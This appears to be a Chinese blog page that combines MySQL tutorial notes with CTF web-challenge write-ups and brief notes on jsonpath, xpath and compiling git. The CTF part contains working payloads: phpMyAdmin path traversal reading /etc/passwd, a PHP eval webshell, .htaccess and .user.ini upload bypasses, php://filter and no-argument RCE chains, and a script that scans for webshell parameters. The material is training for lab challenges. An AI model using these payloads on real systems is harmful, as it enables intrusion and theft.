0%

配置数据库环境

建议直接买个云mysql服务器,本地配置太折磨人了

常用命令

1
2
3
4
5
6
7
8
show databases;
use [数据库名]
show tables;
describe [表名]; --显示表信息
creat database [db] --创建数据库
/*
多行注释
*/

关系模型

主键

一般id,基本不用联合主键

唯一区别两条记录是否相同

不使用业务相关

id 两类:

  1. 自增整数
  2. GUID

外键

一对多

通过一个表的外键关联到另一个表,我们可以定义出一对多关系

1
2
3
4
5
6
7
8
# 添加外键约束
ALTER TABLE students
ADD CONSTRAINT fk_class_id -- 约束名称,随便取
FOREIGN KEY (class_id) --指定外键
REFERENCES classes (id); -- 将外键关联到classes主键id
# 删除外键约束 并不删除列
ALTER TABLE students
DROP FOREIGN KEY fk_class_id;

外键约束的名称fk_class_id可以任意,FOREIGN KEY (class_id)指定了class_id作为外键,REFERENCES classes (id)指定了这个外键将关联到classes表的id列(即classes表的主键)。

多对多

多对多关系实际上是通过两个一对多关系实现的,即通过一个中间表,关联两个一对多关系,就形成了多对多关系

teacher–>teacher_class<–class

一对一

一个表的记录对应到另一个表的唯一一个记录。

有细心的童鞋会问,既然是一对一关系,那为啥不给students表增加一个mobile列,这样就能合二为一了?

如果业务允许,完全可以把两个表合为一个表。但是,有些时候,如果某个学生没有手机号,那么,contacts表就不存在对应的记录。实际上,一对一关系准确地说,是contacts表一对一对应students表。

还有一些应用会把一个大表拆成两个一对一的表,目的是把经常读取和不经常读取的字段分开,以获得更高的性能。例如,把一个大的用户表分拆为用户基本信息表user_info和用户详细信息表user_profiles,大部分时候,只需要查询user_info表,并不需要查询user_profiles表,这样就提高了查询速度。

索引

索引

在关系数据库中,如果有上万甚至上亿条记录,在查找记录的时候,想要获得非常快的速度,就需要使用索引。

索引的效率取决于索引列的值是否散列,即该列的值如果越互不相同,那么索引效率越高。类似hash

对于主键,关系数据库会自动对其创建主键索引。使用主键索引的效率是最高的,因为主键会保证绝对唯一。

1
2
3
# 添加索引
ALTER TABLE students
ADD INDEX idx_name_score (name, score); --包含name score两列,名称为idx_name_score的索引

唯一索引

不是主键但又唯一,即不能出现两条记录存储了同一个身份证号。这个时候,就可以给该列添加一个唯一索引。

1
2
3
4
5
ALTER TABLE students
ADD UNIQUE INDEX uni_name (name) --name列添加唯一索引

ALTER TABLE students
ADD CONSTRAINT uni_name UNIQUE (name) --name列添加唯一约束,具有唯一性

查询

基本查询

1
2
3
SELECT * FROM <表名> --查询数据库表的所有数据,返回二维表

SELECT 1;来测试数据库连接。

SELECT语句其实并不要求一定要有FROM子句。

条件查询

1
2
3
4
5
6
7
8
9
10
11
SELECT * FROM <表名> WHERE <条件表达式>
<条件1> AND <条件2>
<条件1> OR <条件2>

e.g. score >= 80 AND gender = 'M'

<> 表示NOT 类似!=

使用LIKE判断相似
name LIKE 'ab%'
%表示任意字符,例如'ab%'将匹配'ab''abc''abcd'

投影查询

如果我们只希望返回某些列的数据,而不是所有列的数据,我们可以用SELECT 列1, 列2, 列3 FROM …,让结果集仅包含指定列。这种操作称为投影查询。

1
2
3
SELECT id, score, name FROM students;

SELECT1 别名1, 列2 别名2, 列3 别名3 FROM ... WHERE --起别名

结果集的列的顺序和原表可以不一样

排序

order by

1
2
3
4
5
6
7
8
9
10
SELECT id, name, gender, score FROM students ORDER BY score; -- 成绩从低到高排序
SELECT id, name, gender, score FROM students ORDER BY score DESC; -- 加个 DESC 就成倒序了

SELECT id, name, gender, score
FROM students
WHERE class_id = 1
ORDER BY score DESC;
-- oreder by 放在 where 后面

ORDER BY score DESC, gender --依次轮流排 先按score 倒着排,再按gender排

分页查询

使用LIMIT OFFSET 可以对结果集进行分页,每次查询返回结果集的一部分;

分页查询需要先确定每页的数量和当前页数,然后确定LIMIT和OFFSET的值。

1
LIMIT <N-M> OFFSET <M> --截取第M~N条记录

LIMIT总是设定为pageSize;
OFFSET计算公式为pageSize * (pageIndex - 1)。

pageSize:一页多少条记录

pageIndex:第几页

在MySQL中,LIMIT 15 OFFSET 30还可以简写成LIMIT 30, 15

聚合查询

聚合查询

使用SQL提供的聚合查询,我们可以方便地计算总数、合计值、平均值、最大值和最小值

聚合查询也可以添加WHERE条件。

1
2
3
4
5
6
7
8
SELECT COUNT(*) FROM students; --统计所有列的行数
SELECT COUNT(*) boys FROM students WHERE gender = 'M'; --统计多少女生

# 常见聚合函数
SUM 计算某一列的合计值,该列必须为数值类型
AVG 计算某一列的平均值,该列必须为数值类型
MAX 计算某一列的最大值
MIN 计算某一列的最小值

如果聚合查询的WHERE条件没有匹配到任何行,COUNT()会返回0,而SUM()、AVG()、MAX()和MIN()会返回NULL

分组聚合

1
2
3
4
5
6
7
SELECT class_id, COUNT(*) num FROM students GROUP BY class_id;

SELECT class_id, gender, COUNT(*) num FROM students GROUP BY class_id, gender; -- 使用多个列分组

SELECT class_id, AVG(score) FROM students GROUP BY class_id; --查询每个班级平均分

SELECT class_id,gender,AVG(score) FROM students GROUP BY class_id,gender; -- 查询每个班男生女生平均分

聚合查询的列中,只能放入分组的列。

多表查询

笛卡尔乘积,尽量不使用

1
2
3
4
5
6
7
8
9
10
11
12
SELECT * FROM students, classes;

SELECT
s.id sid,
s.name,
s.gender,
s.score,
c.id cid,
c.name cname
FROM students s, classes c;
WHERE s.gender = 'M' AND c.id = 1;
-- 可以给表设置别名

这种一次查询两个表的数据,查询的结果也是一个二维表,它是students表和classes表的“乘积”,即students表的每一行与classes表的每一行都两两拼在一起返回。结果集的列数是students表和classes表的列数之和,行数是students表和classes表的行数之积。

连接查询

JOIN查询需要先确定主表,然后把另一个表的数据“附加”到结果集上

INNER JOIN是最常用的一种JOIN查询,它的语法是SELECT … FROM <表1> INNER JOIN <表2> ON <条件…>;

JOIN查询仍然可以使用WHERE条件和ORDER BY排序。

1
2
3
4
5
6
7
8
9
10
11
# 内连接 INNER JOIN
SELECT s.id, s.name, s.class_id, c.name class_name, s.gender, s.score
FROM students s
INNER JOIN classes c
ON s.class_id = c.id;

# 外连接OUTER JOIN
SELECT s.id, s.name, s.class_id, c.name class_name, s.gender, s.score
FROM students s
RIGHT OUTER JOIN classes c
ON s.class_id = c.id;

INNER JOIN只返回同时存在于两张表的行数据,由于students表的class_id包含1,2,3,classes表的id包含1,2,3,4,所以,INNER JOIN根据条件s.class_id = c.id返回的结果集仅包含1,2,3

RIGHT OUTER JOIN返回右表都存在的行。如果某一行仅在右表存在,那么结果集就会以NULL填充剩下的字段

LEFT OUTER JOIN则返回左表都存在的行。如果我们给students表增加一行,并添加class_id=5,由于classes表并不存在id=5的行,所以,LEFT OUTER JOIN的结果会增加一行,对应的class_name是NULL

FULL OUTER JOIN,它会把两张表的所有记录全部选择出来,并且,自动把对方不存在的列填充为NULL

修改

INSERT

1
2
3
4
5
6
INSERT INTO <表名> (字段1, 字段2, ...) VALUES (值1, 值2, ...);

INSERT INTO students (class_id, name, gender, score) VALUES
(1, '大宝', 'M', 87),
(2, '大牛', 'M', 80);

字段顺序不必和数据库表的字段顺序一致,但值的顺序必须和字段顺序一致

UPDATE

1
2
3
4
5
UPDATE <表名> SET 字段1=1, 字段2=2, ... WHERE ...;

UPDATE students SET name='大牛', score=66 WHERE id=1;

UPDATE students SET score=score+10 WHERE score<80; --更新时可使用表达式

在执行UPDATE语句时要非常小心,最好先用SELECT语句来测试WHERE条件是否筛选出了期望的记录集,然后再用UPDATE更新。

DELETE

1
DELETE FROM <表名> WHERE ...;

在执行DELETE语句时也要非常小心,最好先用SELECT语句来测试WHERE条件是否筛选出了期望的记录集,然后再用DELETE删除。

管理

数据库

1
2
3
CREATE DATABASE test; -- 创建数据库
DROP DATABASE test; -- 删除数据库
USE test; -- 切换数据库

1
2
3
4
5
6
7
8
SHOW TABLES;
DESC students; -- 查看表结构
SHOW CREATE TABLE students; -- 查看创建表sql
CREATE TABLE test; -- 创建
DROP TABLE students; -- 删除
ALTER TABLE students ADD COLUMN birth VARCHAR(10) NOT NULL; -- 添加列
ALTER TABLE students CHANGE COLUMN birth birthday VARCHAR(20) NOT NULL; -- 更改列名
ALTER TABLE students DROP COLUMN birthday; -- 删除列

实用sql语句

插入或替换

1
REPLACE INTO students (id, class_id, name, gender, score) VALUES (1, 1, '小明', 'F', 99);

若id=1的记录不存在,REPLACE语句将插入新记录,否则,当前id=1的记录将被删除,然后再插入新记录。

插入或更新

1
INSERT INTO students (id, class_id, name, gender, score) VALUES (1, 1, '小明', 'F', 99) ON DUPLICATE KEY UPDATE name='小明', gender='F', score=99;

若id=1的记录不存在,INSERT语句将插入新记录,否则,当前id=1的记录将被更新,更新的字段由UPDATE指定。

插入或忽略

1
INSERT IGNORE INTO students (id, class_id, name, gender, score) VALUES (1, 1, '小明', 'F', 99);

若id=1的记录不存在,INSERT语句将插入新记录,否则,不执行任何操作。

快照

copy 一个表

1
CREATE TABLE students_of_class1 SELECT * FROM students WHERE class_id=1;

写入查询结果集

如果查询结果集需要写入到表中,可以结合INSERT和SELECT,将SELECT语句的结果集直接插入到指定表中。

先创表,再写入

1
2
3
4
5
6
7
8
CREATE TABLE statistics (
id BIGINT NOT NULL AUTO_INCREMENT,
class_id BIGINT NOT NULL,
average DOUBLE NOT NULL,
PRIMARY KEY (id)
);

INSERT INTO statistics (class_id, average) SELECT class_id, AVG(score) FROM students GROUP BY class_id;

强制使用指定索引

1
SELECT * FROM students FORCE INDEX (idx_class_id) WHERE class_id = 1 ORDER BY id DESC;

[GWCTF 2019]我有一个数据库

phpmyadmin 4.8 cve 文件包含漏洞

?target=db_sql.php%253f/../../../../../../etc/passwd

[RoarCTF 2019]Easy Java

学到了请求有get改成post

点击help,发现报错,把get改为post,同时改后面参数,改成post上去

com.wm.ctf.DownloadController.doPost(DownloadController.java:24)

得到一个奇怪的包的目录

看了下wp,java项目源码在WEB-INF中,构造pyload

params需要加个filename=WEB-INF/classes/com/wm/ctf/FlagController.class 同时post filename就可以把class下下来

[强网杯 2019]高明的黑客

把源码下下来,一共好几千个文件里面有我们需要的马,我们只需要一个一个试即可🥰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"C:\Users\haodo\Desktop\20211129\高明黑客\src"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://fab0ef41-82a7-480e-a354-be549de9731f.node4.buuoj.cn:81/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
exit(1)
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

需要先本地测试,找到马后直接服务器利用即可

[BJDCTF2020]Mark loves cat

变量覆盖漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

好多payload:

yds=flag
is=flag&flag=flag

Had a bad day

php://filter应用

https://oatmeal.vip/security/web-learning/php-filter/

1
2
 	if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index"))
include ($file . '.php');

构造:

php://filter/convert.base64-encode/write=woofers/resource=flag

用docker把靶场安装在了虚拟机上,跟着天书走一遍,希望有所收获,不得不说docker和ssh真香,计划一部分一部分写,今天光做个报错注入已经弄了2个小时了。。

阅读全文 »

jsonpath

解决json镶套索引问题

1
2
3
4
5
6
7
8
9
10
$ 根节点

. 子节点

.. 匹配所有子孙节点

pip install jsonpath
from jsonpath import jsonpath
jsonpath.(data, '$.1.2.3.4.5.key') -> list
jsonpath.(data, '$..key') -> list

lxml

xpath helper插件

xpath语法

1
2
3
4
5
基础语法
//title/text() # 取标签间文本内容
//link/@href # 提取属性
节点修饰语法
/html/body/div[3]/div[1] # 标签从1开始索引

步骤

因为vscode ssh要求服务器git得>2,更新了个git,发现push不上去了,又把服务器搞崩了,还得重新配环境。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
yum install curl-devel expat-devel gettext-devel openssl-devel zlib-devel asciidoc

yum install gcc perl-ExtUtils-MakeMaker

yum remove git

cd /usr/local/src/

wget https://mirrors.edge.kernel.org/pub/software/scm/git/git-2.23.0.tar.xz

tar -xvf git-2.23.0.tar.xz

cd git-2.23.0/

make prefix=/usr/local/git all

make prefix=/usr/local/git install

echo "export PATH=$PATH:/usr/local/git/bin" >> /etc/profile

source /etc/profile

git --version

[MRCTF2020]你传你🐎呢

上传.htaccess

上传shell.jpeg

直接扫目录即可,没有过滤,非常友善

var_dump(file_get_contents('/flag'));

[SUCTF 2019]CheckIn

上传.user.ini不过是这样配置才能过

auto_prepend_file=shell.jpeg

以前都是

auto_append_file=1.txt

[NCTF2019]Fake XML cookbook

xxe

[GXYCTF2019]BabyUpload

先上传几个正常图片测试,jpeg能用

上传shell过滤了<?

<script language="php">eval($_POST['cmd']);</script>

绕过,上传.htaccess

AddType application/x-httpd-php .jpeg

把system过滤了

可以用var_dump打印

var_dump(scandir("/"))
var_dump(file_get_contents("/flag"));

[GXYCTF2019]禁止套娃

先githack把git扒下来,有个index.php

代码审计,过滤的比较多

1
2
3
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { #把伪协议读取flag.php给ban了
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { #套娃过滤(无参数过滤) 需要构造一个类似这玩意的东西a(b(c(d(e(f())))));
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { #过滤函数关键字

然后开始构造

show_source(next(array_reverse(scandir(current(localeconv())))));